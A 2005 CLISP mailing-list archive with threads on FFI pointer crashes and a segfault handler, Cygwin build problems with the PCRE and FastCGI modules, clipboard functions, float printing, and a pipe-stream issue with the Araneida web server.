Gives the correct error message that:
5 cannot be converted to the foreign type #(FFI:C-POINTER FFI:INT)


[2] How do I compare two foreign pointers, which might be holding address of
some same arbitrary complex structure?

CL-USER> (ffi:with-c-var (x `(ffi:c-pointer ffi:int))
		(setf x (ffi:allocate-deep 'ffi:int 5))
		(print (equal x x))
                (print (eq (ffi:foreign-value x) (ffi:foreign-value x))))
NIL 
T 

CL-USER> (ffi:with-c-var (x `(ffi:c-pointer (ffi:c-pointer ffi:int)))
		(setf x (ffi:allocate-shallow '(ffi:c-pointer ffi:int)))
		(setf (ffi:foreign-value x) (ffi:allocate-deep 'ffi:int 5))
		(print (equal (ffi:foreign-value x) (ffi:foreign-value x)))
		(print (equal (ffi:foreign-value (ffi:foreign-value x))
			      (ffi:foreign-value (ffi:foreign-value x)))))
NIL 
T 


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Surendra Singhi writes:
> Hi,
> 
> [1] First I will mention the lisp crashing part. This variable assignment
> below though incorrect should not make lisp crash, rather a warning would be
> helpful. 
> 
> (ffi:with-c-var (x `(ffi:c-ptr ffi:int))
> 		(setf x 5))


If you access an invalid address, you get a SIGSEG.  If you don't want
the default handler, then you must install your own.  The signal
handling functions  are ANSI C or POSIX so you should have them on
MS-Windows too (write the FFI to them).


[1]> (package:load-package :com.informatimago.clisp.raw-memory)
;; Loading file /usr/local/share/lisp/packages/com/informatimago/clisp/OBJ-CLISP-23383-I686/raw-memory.fas ...
;; Loaded file /usr/local/share/lisp/packages/com/informatimago/clisp/OBJ-CLISP-23383-I686/raw-memory.fas
T
[2]> (com.informatimago.clisp.raw-memory:with-sigseg-handler 
       (ffi:with-c-var (x `(ffi:c-ptr ffi:int))
		  (setf x 5)))

*** - Got Segment Violation Signal while accessing raw memory
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [3]> :a
[4]> 



(defun install-signal-handler (signum handler)
  (let ((oldhan (linux:|set-signal-handler| signum handler))
        (sigset (second (multiple-value-list
                          (linux:|sigaddset| (second (multiple-value-list
                                                      (linux:|sigemptyset|)))
                                 signum)))))
    (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset)
    (values signum oldhan sigset)))


(defun restore-signal-handler (signum oldhan sigset)
  (linux:|set-signal-handler| signum oldhan)
  (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| sigset))

  

(defmacro with-signal-handler (signum handler &body body)
  (let ((voldhan (gensym))
        (vsignum (gensym))
        (vsigset (gensym)))
    `(let* ((,vsignum ,signum)
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                                      ,vsignum)))))
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        (linux:|set-signal-handler| ,vsignum ,voldhan)
        (linux:|sigprocmask-set-n-save| linux:|SIG_UNBLOCK| ,vsigset)))))


(defmacro with-sigseg-handler (&body body)
  `(with-signal-handler linux:|SIGSEGV| 
    (lambda (signum) 
      (declare (ignore signum))
      (error "Got Segment Violation Signal while accessing raw memory"))
    ,@body))



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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-12 16:53:06 -0400]:
>
> I can't get CVS head to build with fastcgi and pcre support, either.

please try
$ rm -rf clisp
$ cvs co clisp
$ cd clisp
$ ./configure --with-dynamic-ffi --with-module=fastcgi --with-module=pcre --with-pcre-prefix=/usr/local --build build
$ cd build

if you get errors, please report them using cut and paste.

thanks.

> When make runs:
>
> full/lisp.exe -B . -M full/lispinit.mem -norc -q -i fastcgi/fastcgi -i 
> pcre/pcre -x (saveinitmem "full/lispinit.mem")
>
> ...it barfs badly.

I don't know what tis might mean.

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> * Arseny Slobodyuk <nzcl@vpu.qib.eh> [2005-08-13 17:55:56 +1100]:
>
>
> /* (EXT::SETCLIPBOARD str)
>    puts str, which should be a string to Windows clipboard.
>    On NT put it as CF_UNICODETEXT, on Windows 95/98 -
>    as CF_TEXT (translates to ANSI character set using
>    *MISC-ENCODING*). 
>    returns: T on success, NIL otherwise.*/
>   
> /* (EXT::GETCLIPBOARD)
>    Return the textual contents of Windows clipboard. First try to get
>    it as CF_UNICODETEXT, then CF_TEXT.
>    returns: string or NIL (on failure or when no text available */

cool!

> and want to:
> 1. Leave them in base distribution (since it is not so easy
> to compile and link POSIX in MSVC). May I?
> 2. Export them from EXT, in which lisp file is better to do it?

I would much prefer that it is placed in modules/syscalls
and implemented for X window system too.

it should be

(os:clipboard)

and

(os::%set-clipboard string)

and

(defsetf os:clipboard os::%set-clipboard)


> 3. Make short abbreviations to them and to
>     (eval (read-from-string (ext:getclipboard)))
>    or probably something more complicated to handle NIL
>    (To encourage users to use it).

"Paste   :p  paste from clipboard and evaluate"
see <http://clisp.cons.org/impnotes/debugger.html#user-commands>

> This was inspired by "spurious #\L problem".

I would rather have that fixed...

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>> and want to:
>> 1. Leave them in base distribution (since it is not so easy
>> to compile and link POSIX in MSVC). May I?
>> 2. Export them from EXT, in which lisp file is better to do it?

> I would much prefer that it is placed in modules/syscalls
:( There's no fun in implementing something like this and not using it!
It's against GNU formula, I believe.

>> 3. Make short abbreviations to them and to
>>     (eval (read-from-string (ext:getclipboard)))
>>    or probably something more complicated to handle NIL
>>    (To encourage users to use it).

>> (os:clipboard)
>> and
>> (os::%set-clipboard string)
Yep, it's better.

> "Paste   :p  paste from clipboard and evaluate"
> see <http://clisp.cons.org/impnotes/debugger.html#user-commands>
I'm already happy with

(defun copy (expr)
  (ext::setclipboard (with-output-to-string (out) (print expr out)))
  expr)

(defun paste ()
  (let ((clip (ext::getclipboard)))
    (if clip (read-from-string clip) nil)))

in .clisprc, actually it's better without eval.

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OK, I did exactly as you said.  Here are the results:

configure:  * PCRE (Functions):
checking for library containing pcre_compile... no
configure: error: cannot find PCRE library
make: *** [pcre] Error 1

This is why I used the LIB variable, before.   The library is there, but 
the configure script in the PCRE module doesn't see it.

When I said "full/lisp.exe" barfs badly, I mean that the Makefile is 
trying to invoke that executable, when the "full" directory doesn't even 
exist at that stage of the make.  In other words, it's trying to run an 
executable that's not there.

Jeremy



Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-12 16:53:06 -0400]:
>>
>>I can't get CVS head to build with fastcgi and pcre support, either.
>>    
>>
>
>please try
>$ rm -rf clisp
>$ cvs co clisp
>$ cd clisp
>$ ./configure --with-dynamic-ffi --with-module=fastcgi --with-module=pcre --with-pcre-prefix=/usr/local --build build
>$ cd build
>
>if you get errors, please report them using cut and paste.
>
>thanks.
>
>  
>
>>When make runs:
>>
>>full/lisp.exe -B . -M full/lispinit.mem -norc -q -i fastcgi/fastcgi -i 
>>pcre/pcre -x (saveinitmem "full/lispinit.mem")
>>
>>...it barfs badly.
>>    
>>
>
>I don't know what tis might mean.
>
>  
>



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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-14 08:44:22 -0400]:
>
> OK, I did exactly as you said.  Here are the results:
>
> configure:  * PCRE (Functions):
> checking for library containing pcre_compile... no
> configure: error: cannot find PCRE library
> make: *** [pcre] Error 1
>
> This is why I used the LIB variable, before.   The library is there, but
> the configure script in the PCRE module doesn't see it.

sorry, make that --with-libpcre-prefix=/usr/local

> When I said "full/lisp.exe" barfs badly, I mean that the Makefile is
> trying to invoke that executable, when the "full" directory doesn't
> even exist at that stage of the make.  In other words, it's trying to
> run an executable that's not there.

if you look a couple of lines above, you will discover that if linking
of full/lisp.exe fails, the directory full is removed.

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> * Arseny Slobodyuk <nzcl@vpu.qib.eh> [2005-08-14 16:50:54 +1100]:
>
>>> and want to:
>>> 1. Leave them in base distribution (since it is not so easy
>>> to compile and link POSIX in MSVC). May I?
>>> 2. Export them from EXT, in which lisp file is better to do it?
>
>> I would much prefer that it is placed in modules/syscalls
> :( There's no fun in implementing something like this and not using it!

indeed - all the more reasons to use mingw!

> It's against GNU formula, I believe.

well, if you are into ideological purity (AKA political correctness),
then it would do you good to remember that the FSF is against the use of
non-free software when a free alternative is available.
thus you are a sinner just by virtue of using MSVC when mingw is
available!
("a sinner by virtue"!!! I _love_ English language!)

>> "Paste   :p  paste from clipboard and evaluate"
>> see <http://clisp.cons.org/impnotes/debugger.html#user-commands>
> I'm already happy with
>
> (defun copy (expr)
>   (ext::setclipboard (with-output-to-string (out) (print expr out)))
>   expr)

(with-output-to-string (out)
  (with-standard-io-syntax
    (write expr :stream out)))

> (defun paste ()
>   (let ((clip (ext::getclipboard)))
>     (if clip (read-from-string clip) nil)))
>
> in .clisprc, actually it's better without eval.

OK.

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is there any way to influence to output of e.g.

   (setf a #(1.234567877777777777775555555L0 555))

so that the output is like

   #(1.23L0 555)

instead of 

   #(1.234567877777777777775555555L0 555) ??
I am aware of the format directive F, like "~10f" prints 10 characters only... 
But this seems not to work on vectors/arrays.

regards

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Onay writes:
> is there any way to influence to output of e.g.
> 
>    (setf a #(1.234567877777777777775555555L0 555))
> 
> so that the output is like
> 
>    #(1.23L0 555)
> 
> instead of 
> 
>    #(1.234567877777777777775555555L0 555) ??
> I am aware of the format directive F, like "~10f" prints 10 characters only... 
> But this seems not to work on vectors/arrays.

(format t "#(~{~5F~^ ~})~%" (coerce a 'list))
#(1.235 555.0)

(format t "#(~{~10E~^ ~})~%" (coerce a 'list))
#(1.23457L+0    5.55E+2)

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Announcement: wxCL 1.0.0
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 <http://www.wxcl-project.org>

We are pleased to announce the first release (1.0.0 Alpha) of wxCL, a
new open source GUI library for Common Lisp. The goal of the project
is to provide an industrial strength portable GUI library for
application developers, which runs across all lisp implementation and
operating system platforms.  

wxCL builds upon wxWidgets, a comprehensive C++ library that provides
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GTK, Windows, X11, and MacOS X. wxWidgets is a mature library which
was first released in 1992,  and since improved upon by a committed
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GUI toolkits for this programming language. 

The current release of wxCL already supports about 75 % of the
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tested on Windows XP but it should work on Linux and Mac OS X as well 
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Most of the Foreign Function Interface were automatically generated
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Sam Steingold wrote:

>>(test DESCRIBE.1 filed)
> 
> 
> could you please try to figure out which object is being described
> (*universe* is rather large...)
> thanks!
> 

(describe nil) is crash clisp

> PS. it's "failed", not "filed"
> see http://www.m-w.com/cgi-bin/netdict?fail
>     http://www.m-w.com/cgi-bin/netdict?file

Oops! Sorry.

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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-14 08:44:22 -0400]:
>>
>>OK, I did exactly as you said.  Here are the results:
>>
>>configure:  * PCRE (Functions):
>>checking for library containing pcre_compile... no
>>configure: error: cannot find PCRE library
>>make: *** [pcre] Error 1
>>
>>This is why I used the LIB variable, before.   The library is there, but
>>the configure script in the PCRE module doesn't see it.
>>    
>>
>
>sorry, make that --with-libpcre-prefix=/usr/local
>  
>
Exact same error.  I deleted the entire tree, checked out again, ran the 
./configure you sent to me last time with "--with-libpcre-prefix" 
instead of "--with-pcre-prefix" and the exact same thing happened.

Jeremy


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-08-15 11:31:55 +0300]:
>
> Sam Steingold wrote:
>
>>>(test DESCRIBE.1 filed)
>> 
>> 
>> could you please try to figure out which object is being described
>> (*universe* is rather large...)
>> thanks!
>> 
>
> (describe nil) is crash clisp

thanks - fixed in the CVS.


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> * Kai Kaminski <xnv.xnzvafxv@tznvy.pbz> [2005-08-09 16:54:49 +0200]:
>
> I'm using Clisp 2.33.2

2.34 has been released...

> If I add a call to SOCKET-STREAM-SHUTDOWN with direction :OUTPUT

...and SOCKET-STREAM-SHUTDOWN behavior has been fixed in the CVS _after_
the release...

> I'm still curious how the call to MAKE-PIPE-IO-STREAM manages to mess
> things up.

I think it's not MAKE-PIPE-IO-STREAM as much as the _program_ it runs.

>   (format (ext:make-pipe-io-stream "nc localhost 1234")
>           "Hello world!")

OUCH!!!
you are not closing the three streams created by MAKE-PIPE-IO-STREAM!
this means that "nc" (whatever that thing does) probably never exits!

try this instead:

(with-open-stream (s (ext:make-pipe-output-stream "nc localhost 1234"))
  (format s "Hello world!"))

> To try this, load araneida, then start some program listening on port
> 1234 (e.g. nc -l -p 1234) and then do (start-listening *listener*) and
> (host-serve-events). Then try to load http://localhost:8000/hello
> (127.0.0.1 won't do). I've tried this with several versions of Firefox,
> Safari and w3m.

I hope a resident TCP expert will help you
as this is all Greek to me.

> If you uncomment the line where SOCKET-STREAM-SHUTDOWN is called,
> everything should work.

if you would like to use SOCKET-STREAM-SHUTDOWN, you should try CVS head.

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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-15 10:02:33 -0400]:
>
> Sam Steingold wrote:
>
>>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-14 08:44:22 -0400]:
>>>
>>>OK, I did exactly as you said.  Here are the results:
>>>
>>>configure:  * PCRE (Functions):
>>>checking for library containing pcre_compile... no
>>>configure: error: cannot find PCRE library
>>>make: *** [pcre] Error 1
>>>
>>>This is why I used the LIB variable, before.   The library is there, but
>>>the configure script in the PCRE module doesn't see it.
>>>    
>>>
>>
>>sorry, make that --with-libpcre-prefix=/usr/local
>>  
>>
> Exact same error.  I deleted the entire tree, checked out again, ran the
> ./configure you sent to me last time with "--with-libpcre-prefix"
> instead of "--with-pcre-prefix" and the exact same thing happened.

1. if you pass the build directory name to configure, you do not need to
   removed the source tree, just the build directory:
   $ ./configure --build build
   success? try clisp:
   $ cd build; ./clisp .....; cd ..
   unhappy: remove the build tree:
   $ rm -rf build
   reconfigure:
   $ ./configure --build build

2. if --with-libpcre-prefix=/usr/local does not work, please inspect
   build/pcre/config.log and see why it fails.
   it might well be that your pcre is not properly installed.
   it might also be that you have an unsupported pcre version.
   (this should be reported to you during build, see configure messages).

3. I still do not know what is "the exact same thing".  You might want
   make that available to me:
   $ ./configure --build build .... >log 2>&1
   and post the URL of the "log" file here (not the file, just the URL!)


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Hi Sam,

thanks for your quick reply.

Sam Steingold wrote:

>>* Kai Kaminski <xnv.xnzvafxv@tznvy.pbz> [2005-08-09 16:54:49 +0200]:
>>
>>I'm using Clisp 2.33.2
>>    
>>
>
>2.34 has been released...
>  
>
I have it installed now, but the behaviour hasn't changed apparently.

>>I'm still curious how the call to MAKE-PIPE-IO-STREAM manages to mess
>>things up.
>>    
>>
>
>I think it's not MAKE-PIPE-IO-STREAM as much as the _program_ it runs.
>  
>
I can't rule that out, but there are at least two programs that have 
this problem.

>>  (format (ext:make-pipe-io-stream "nc localhost 1234")
>>          "Hello world!")
>>    
>>
>
>OUCH!!!
>you are not closing the three streams created by MAKE-PIPE-IO-STREAM!
>this means that "nc" (whatever that thing does) probably never exits!
>  
>
The above is just an example. In my own code I do close the streams 
eventually. NC is netcat, a unix tool that connects its standard io to a 
remote tcp port, i.e. it forwards all its input to localhost:1234 and 
prints all data that comes from there, until one of the streams is 
closed. I should have been clearer about this.
My code starts a different program. The above is only the shortest piece 
of code that demonstrates the problem. I chose to call netcat because I 
was under the impression that nowadays it is already installed on most 
UNIX systems. I know that it never exits, but that is the point.

I should also mention that the TCP connection established by netcat has 
nothing to do with the problem and can be ignored.

>try this instead:
>
>(with-open-stream (s (ext:make-pipe-output-stream "nc localhost 1234"))
>  (format s "Hello world!"))
>  
>
I can't do that, because I want to talk to the same running instance of 
this program again later.

>>To try this, load araneida, then start some program listening on port
>>1234 (e.g. nc -l -p 1234) and then do (start-listening *listener*) and
>>(host-serve-events). Then try to load http://localhost:8000/hello
>>(127.0.0.1 won't do). I've tried this with several versions of Firefox,
>>Safari and w3m.
>>    
>>
>
>I hope a resident TCP expert will help you
>as this is all Greek to me.
>  
>
This is not a TCP problem. The TCP connection is established and it is 
actually possible to send data.

Let me try to be clearer what my problem is. Araneida receives an HTTP 
request and calls my HANDLE-REQUEST-RESPONSE. If I call 
MAKE-PIPE-IO-STREAM in that method, Araneida doesn't close the HTTP 
connection, even though all the data has been transferred (over HTTP). 
HANDLE-REQUEST-RESPONSE definitely returns. It does not matter if I try 
to actually send or receive data using the streams returned by 
MAKE-PIPE-IO-STREAM.
If I now add a call to SOCKET-STREAM-SHUTDOWN in HANDLE-REQUEST-RESPONSE 
to close the HTTP connection socket everything works as expected. In 
that sense one could say that SOCKET-STREAM-SHUTDOWN always worked for me.

I just looked at the Araneida source code again and it seems that it 
doesn't call SOCKET-STREAM-SHUTDOWN. Instead it calls CLOSE and if that 
fails (CLOSE ... :ABORT T). The exact code is

(defun forcibly-close-stream (s)
  (socket:socket-status s)
  (multiple-value-bind (r e) (ignore-errors (close s) t)
    (unless r
      (format t "Unable to close: ~A, trying harder ~%" e)
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Maybe that has to do with the problem as well, I don't know.

Cheers,
Kai


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I'm afraid I've unintentionally mislead you.  libpcre.a installed, but 
when I went back to the libpcre source directory and did a "make test" 
(just to be sure the library was a full, working binary), the tests 
segfaulted.  The culprit seems to be libpcre 6.1 under Cygwin.  I 
bypassed the whole issue by simply --with-module=regexp instead.  Then a 
"-k full" showed *features* to contain everything I need.

However, three tests failed.  I've included their *.erg files in a tarball:

http://www.crazilocks.com/clisp-list.tar.gz

Should I assume these are tests that are supposed to fail, or is there 
something I can do about those, too?

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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-15 12:59:04 -0400]:
>
> I'm afraid I've unintentionally mislead you.  libpcre.a installed, but
> when I went back to the libpcre source directory and did a "make test"
> (just to be sure the library was a full, working binary), the tests
> segfaulted.  The culprit seems to be libpcre 6.1 under Cygwin.

AFAICT, Cygwin comes with libpcre 4.5

> I bypassed the whole issue by simply --with-module=regexp instead.

you do not need --with-module=regexp.
see <http://clisp.cons.org/impnotes/modules.html#base-modules>

> However, three tests failed.  I've included their *.erg files in a tarball:
> http://www.crazilocks.com/clisp-list.tar.gz

ffi: autoconf did not find dlopen and friends.
     if you need that, you may want to investigate...
path: interesting. what does "mount" print?
streams: did you run the tests with a redirection?

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Hi Kai,

> * Kai Kaminski <xnv.xnzvafxv@tznvy.pbz> [2005-08-15 18:23:47 +0200]:
>
> The above is only the shortest piece of code that demonstrates the
> problem.

I would rather not install araneida to reproduce the problem.
could you please try to produce a more-or-less isolated test case?
Thanks!

> Let me try to be clearer what my problem is. Araneida receives an HTTP
> request and calls my HANDLE-REQUEST-RESPONSE. If I call
> MAKE-PIPE-IO-STREAM in that method, Araneida doesn't close the HTTP
> connection, even though all the data has been transferred (over
> HTTP). HANDLE-REQUEST-RESPONSE definitely returns. It does not matter if
> I try to actually send or receive data using the streams returned by
> MAKE-PIPE-IO-STREAM.
> If I now add a call to SOCKET-STREAM-SHUTDOWN in HANDLE-REQUEST-RESPONSE
> to close the HTTP connection socket everything works as expected. In
> that sense one could say that SOCKET-STREAM-SHUTDOWN always worked for
> me.

CMIIAM, but I thought that HTTP requires either shutdown or
content-length.
it might be that the underlying libc sockets behave differently
depending on the number of sockets that the program has opened.
also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM)
results in the "same" socket being "available" to both processes, thus
they might be treated differently wrt flush &c.
the above is just my WAGs, please CMIIAM.

> (defun forcibly-close-stream (s)
>   (socket:socket-status s)

why not just LISTEN?


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I could get libpcre with the Cygwin install, yes.  I'll just stick to 
the regexp module for now and save myself some grief in the future (one 
less thing for me to forget).

Sam Steingold wrote:

>>However, three tests failed.  I've included their *.erg files in a tarball:
>>http://www.crazilocks.com/clisp-list.tar.gz
>>    
>>
>
>ffi: autoconf did not find dlopen and friends.
>     if you need that, you may want to investigate...
>  
>
I think on Cygwin you have to -ldl in order to get dlopen and friends.  
Is that being checked for in ./configure?

>path: interesting. what does "mount" print?
>  
>
$ mount
C:\cygwin\bin on /usr/bin type user (binmode)
C:\cygwin\lib on /usr/lib type user (binmode)
C:\cygwin on / type user (binmode)
c: on /cygdrive/c type user (binmode,noumount)

I don't know why those are mounted under /usr, quite honestly.  Running 
ls in both and diffing the output shows it to be true, the contents of 
/bin and /usr/bin are identical.

This was a fairly recent Cygwin install with a fairly recent setup.exe 
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of the box this way.

I used "cygdrive" regularly as a prefix to get at other drives, so I 
know that works.

>streams: did you run the tests with a redirection?
>  
>
I did not run the tests with redirection.  It failed during the 
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it failed again.  I wasn't using redirection in either case.

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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-15 14:26:11 -0400]:
>
>>ffi: autoconf did not find dlopen and friends.
>>     if you need that, you may want to investigate...
>>  
>>
> I think on Cygwin you have to -ldl in order to get dlopen and friends.
> Is that being checked for in ./configure?

works for me.
you can look at config.log to find out what went wrong for you.
see why HAVE_DLOPEN is not defined in your build/unixconf.h.

>>path: interesting. what does "mount" print?
>>  
>>
> $ mount
> C:\cygwin\bin on /usr/bin type user (binmode)
> C:\cygwin\lib on /usr/lib type user (binmode)
> C:\cygwin on / type user (binmode)
> c: on /cygdrive/c type user (binmode,noumount)
>
> I don't know why those are mounted under /usr, quite honestly.  Running
> ls in both and diffing the output shows it to be true, the contents of
> /bin and /usr/bin are identical.
>
> This was a fairly recent Cygwin install with a fairly recent setup.exe
> (like, last week).  I didn't pull anything "funny", either, it came out
> of the box this way.
>
> I used "cygdrive" regularly as a prefix to get at other drives, so I
> know that works.

CLISP DIRECTORY appears to be too smart for its own good and it gets
confused by the cygwin mounting tricks.

>>streams: did you run the tests with a redirection?
> I did not run the tests with redirection.  It failed during the
> ./configure, then I changed directory to "build" and ran "make test" and
> it failed again.  I wasn't using redirection in either case.

you can try
$ ./configure --build build-g --with-debug
$ cd build-g
$ gdb lisp.exe
(gdb) boot
(gdb) run
> (CLEAR-INPUT *QUERY-IO*)
and see why it fails.

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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-15 14:26:11 -0400]:
>>
>>    
>>
>>>ffi: autoconf did not find dlopen and friends.
>>>    if you need that, you may want to investigate...
>>> 
>>>
>>>      
>>>
>>I think on Cygwin you have to -ldl in order to get dlopen and friends.
>>Is that being checked for in ./configure?
>>    
>>
>
>works for me.
>you can look at config.log to find out what went wrong for you.
>see why HAVE_DLOPEN is not defined in your build/unixconf.h.
>  
>
I removed the directory and built a second time.

configure:24884: checking for library containing dlopen
configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include  
conftest.c  >&5
/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld: 
cannot open output file conftest.exe: Device or resource busy
collect2: ld returned 1 exit status
configure:24920: $? = 1

There are several more "Device or resource busy" errors thereafter.  
This is probably due to the section right above it

configure:24429: checking for working shared memory
configure:24463: gcc -o conftest.exe -g -O2 -I/usr/local/include  
conftest.c  >&5
configure:24466: $? = 0
configure:24468: ./conftest.exe
configure: line 24469:  4908 Bad system call         ./conftest$ac_exeext
configure:24471: $? = 140
configure: program exited with status 140

>>>path: interesting. what does "mount" print?
>>>      
>>>
>>$ mount
>>C:\cygwin\bin on /usr/bin type user (binmode)
>>C:\cygwin\lib on /usr/lib type user (binmode)
>>C:\cygwin on / type user (binmode)
>>c: on /cygdrive/c type user (binmode,noumount)
>>
>>I don't know why those are mounted under /usr, quite honestly.  Running
>>ls in both and diffing the output shows it to be true, the contents of
>>/bin and /usr/bin are identical.
>>
>>This was a fairly recent Cygwin install with a fairly recent setup.exe
>>(like, last week).  I didn't pull anything "funny", either, it came out
>>of the box this way.
>>
>>I used "cygdrive" regularly as a prefix to get at other drives, so I
>>know that works.
>>    
>>
>
>CLISP DIRECTORY appears to be too smart for its own good and it gets
>confused by the cygwin mounting tricks.
>  
>
So, you know what is wrong, here?  Is there something else I can do in 
order to help you fix this?

>>>streams: did you run the tests with a redirection?
>>>      
>>>
>>I did not run the tests with redirection.  It failed during the
>>./configure, then I changed directory to "build" and ran "make test" and
>>it failed again.  I wasn't using redirection in either case.
>>    
>>
>
>you can try
>$ ./configure --build build-g --with-debug
>$ cd build-g
>$ gdb lisp.exe
>(gdb) boot
>(gdb) run
>  
>
>>(CLEAR-INPUT *QUERY-IO*)
>>    
>>
>and see why it fails.
>  
>
$ gdb lisp.exe
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This GDB was configured as "i686-pc-cygwin"...
Breakpoint 1 at 0x428972: file eval.d, line 4937.
Breakpoint 2 at 0x4262ea: file eval.d, line 4020.
Breakpoint 3 at 0x422b89: file eval.d, line 2882.
Breakpoint 4 at 0x42a48a: file eval.d, line 5905.
Breakpoint 5 at 0x40c0be: file spvw_garcol.d, line 2430.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0x40f816: file spvw.d, line 657.
Breakpoint 8 at 0x403d33: file spvw.d, line 479.
Breakpoint 9 at 0x403ddb: file spvw.d, line 494.
Breakpoint 10 at 0x4d82ca: file error.d, line 349.
Breakpoint 11 at 0x4d825c: file error.d, line 326.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x00428972 in funcall at eval.d:4937
        xout fun
2   breakpoint     keep n   0x004262ea in apply at eval.d:4020
        xout fun
3   breakpoint     keep n   0x00422b89 in eval at eval.d:2882
        xout form
4   breakpoint     keep n   0x0042a48a in interpret_bytecode_ at eval.d:5905
        xout closure
5   breakpoint     keep n   0x0040c0be in gar_col at spvw_garcol.d:2430
6   hw watchpoint  keep n              back_trace
        zbacktrace
        continue
7   breakpoint     keep y   0x0040f816 in fehler_notreached at spvw.d:657
8   breakpoint     keep y   0x00403d33 in SP_ueber at spvw.d:479
9   breakpoint     keep y   0x00403ddb in STACK_ueber at spvw.d:494
10  breakpoint     keep y   0x004d82ca in fehler at error.d:349
11  breakpoint     keep y   0x004d825c in prepare_error at error.d:326
Function "sigsegv_handler_failed" not defined.
.gdbinit:157: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) boot
(gdb) run
Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B 
. -N locale -M lispinit.mem -q -norc
STACK depth: 16363
SP depth: 1073598755
[1]> (clear-input *query-io*)

NIL
[2]>

What do you mean by "see why it fails"?  I presume there's a reason why 
I'm running in GDB.  Do you want me to set a breakpoint and examine any 
specific value inside the VM?

Jeremy


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> * Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 12:24:14 -0400]:
>
> I removed the directory and built a second time.
>
> configure:24884: checking for library containing dlopen
> configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include
> conftest.c  >&5
> /usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld:
> cannot open output file conftest.exe: Device or resource busy
> collect2: ld returned 1 exit status
> configure:24920: $? = 1
>
> There are several more "Device or resource busy" errors thereafter.
> This is probably due to the section right above it

check task manager and kill the "conftest.exe" process.
if nothing works, reboot.

>>CLISP DIRECTORY appears to be too smart for its own good and it gets
>>confused by the cygwin mounting tricks.
>
> So, you know what is wrong, here?

Yes, as I said: "DIRECTORY appears to be too smart for its own good"

> Is there something else I can do in order to help you fix this?

you can fix it yourself :-)

>>you can try
>>$ ./configure --build build-g --with-debug
>>$ cd build-g
>>$ gdb lisp.exe
>>(gdb) boot
>>(gdb) run
>>
>>>(CLEAR-INPUT *QUERY-IO*)
>>>
>>and see why it fails.
>>
> $ gdb lisp.exe
> Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B 
> . -N locale -M lispinit.mem -q -norc
> STACK depth: 16363
> SP depth: 1073598755
> [1]> (clear-input *query-io*)
>
> NIL
> [2]>
>
> What do you mean by "see why it fails"?

look at the streams.erg file - (clear-input *query-io*) failed.
why doesn't it fail under gdb?
does it fail at the clisp prompt without gdb?
what is the error message?
(if you configured --with-debug, you should see file:line)



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Sam Steingold wrote:

>>* Jeremy Shute <fuhgrw@tbbtyr.pbz> [2005-08-16 12:24:14 -0400]:
>>
>>I removed the directory and built a second time.
>>
>>configure:24884: checking for library containing dlopen
>>configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include
>>conftest.c  >&5
>>/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld:
>>cannot open output file conftest.exe: Device or resource busy
>>collect2: ld returned 1 exit status
>>configure:24920: $? = 1
>>
>>There are several more "Device or resource busy" errors thereafter.
>>This is probably due to the section right above it
>>    
>>
>
>check task manager and kill the "conftest.exe" process.
>if nothing works, reboot.
>  
>
conftest.exe isn't a running process, visible from the Task Manager, 
before or after ./configure.

I think the problem is that the shared memory test above it (as I 
highlighted) is  but continues to stay resident.  When the dlopen family 
of tests are attempted, the linker cannot write conftest.exe because the 
conftest.exe program is still (somehow) running.

If it's not running before ./configure and it's not running after 
./configure, it must be a problem during ./configure, right?

I'd love to help you nail down this problem, all I need is a little 
direction.  I'm relatively unfamiliar with autoconf.  How would you have 
me test that my hypothesis is true?

>>>you can try
>>>$ ./configure --build build-g --with-debug
>>>$ cd build-g
>>>$ gdb lisp.exe
>>>(gdb) boot
>>>(gdb) run
>>>
>>>      
>>>
>>>>(CLEAR-INPUT *QUERY-IO*)
>>>>
>>>>        
>>>>
>>>and see why it fails.
>>>
>>>      
>>>
>>$ gdb lisp.exe
>>Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B 
>>. -N locale -M lispinit.mem -q -norc
>>STACK depth: 16363
>>SP depth: 1073598755
>>[1]> (clear-input *query-io*)
>>
>>NIL
>>[2]>
>>
>>What do you mean by "see why it fails"?
>>    
>>
>
>look at the streams.erg file - (clear-input *query-io*) failed.
>  
>
As it does when I run lisp.exe and try it by hand.

[stream.d:3408] *** - UNIX error 2 (ENOENT): No such file or directory

When I type in just *query-io* it returns:

#<IO SYNONYM-STREAM *TERMINAL-IO*>

>why doesn't it fail under gdb?
>
When I type in *query-io* after boot/run in gdb, I get:

#<IO SYNONYM-STREAM *TERMINAL-IO*>

...the same thing.  So, I don't know why it fails.  I can only assume 
that the terminal has some black magic done to it by gdb.

>does it fail at the clisp prompt without gdb?
>  
>
Yes.

>what is the error message?
>(if you configured --with-debug, you should see file:line)
>  
>
The error is coming from stream.d:3408:

    begin_system_call();
    #ifdef UNIX_TERM_TERMIOS
      if (!( TCFLUSH(handle,TCIFLUSH) ==0)) {
        if (!((errno==ENOTTY)||(errno==EINVAL))) { # no TTY: OK
          local bool flag = false;
          # report other Error, but only once
